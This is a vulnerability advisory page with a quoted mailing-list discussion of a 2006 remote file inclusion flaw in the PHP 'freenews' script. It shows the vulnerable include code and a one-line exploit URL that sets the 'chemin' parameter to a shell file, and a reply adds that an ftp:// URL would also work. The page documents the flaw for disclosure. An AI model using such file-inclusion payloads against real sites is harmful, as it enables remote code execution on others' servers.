freenews---> fileinclude

2006.11.07
Credit: MoHaNdKo
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

In PHP 5.x file_exists function have support for Protocols/Wrappers . So setting $chemin to ftp://blablablab.com/ will work in this case On Tue, 31 Oct 2006 05:18:58 +0800, Tamriel <tamriel (at) gmx (dot) net [email concealed]> wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA512 > > I would quote the whole code arround the includes, like: > > [...] > if (file_exists("./".$chemin."/config.php")){ > include ("$chemin/config.php"); > include ("$chemin/options.inc.php"); > include ("$chemin/freenews_functions.inc.php"); > } > [...] > > You could only include files on the same server, not remote and not a > shell.txt. > > > MoHaNdKo wrote: >> ######################################################## >> # >> #freenews---> fileinclude >> ############################### >> # >> #include ("$chemin/config.php"); >> #include ("$chemin/functions.inc.php"); >> #include ("$chemin/options.inc.php"); >> #****************************************** >> #name: MoHaNdKo >> #E-mail : xp1o (at) msn (dot) com [email concealed] >> # >> # >> #******************** >> #exploit: >> # www.****.com/path/aff_news.php?chemin=shell.txt? >> # >> # >> #******************** >> #Greatz: >> # www.xp10.com & www.d4eg.org & www.dmazika.org >> # >> # www.tryag.com > > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.5 (MingW32) > > iD8DBQFFRmxCqBhP+Twks7oRCqoAAJ9YaqJn7Mdptjgc17uIV76Qcy5eVwCfRNpf > DmmJNRb3gp/R32Dq8dINQks= > =BGMI > -----END PGP SIGNATURE----- > -- Using Opera's revolutionary e-mail client: http://www.opera.com/m2/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top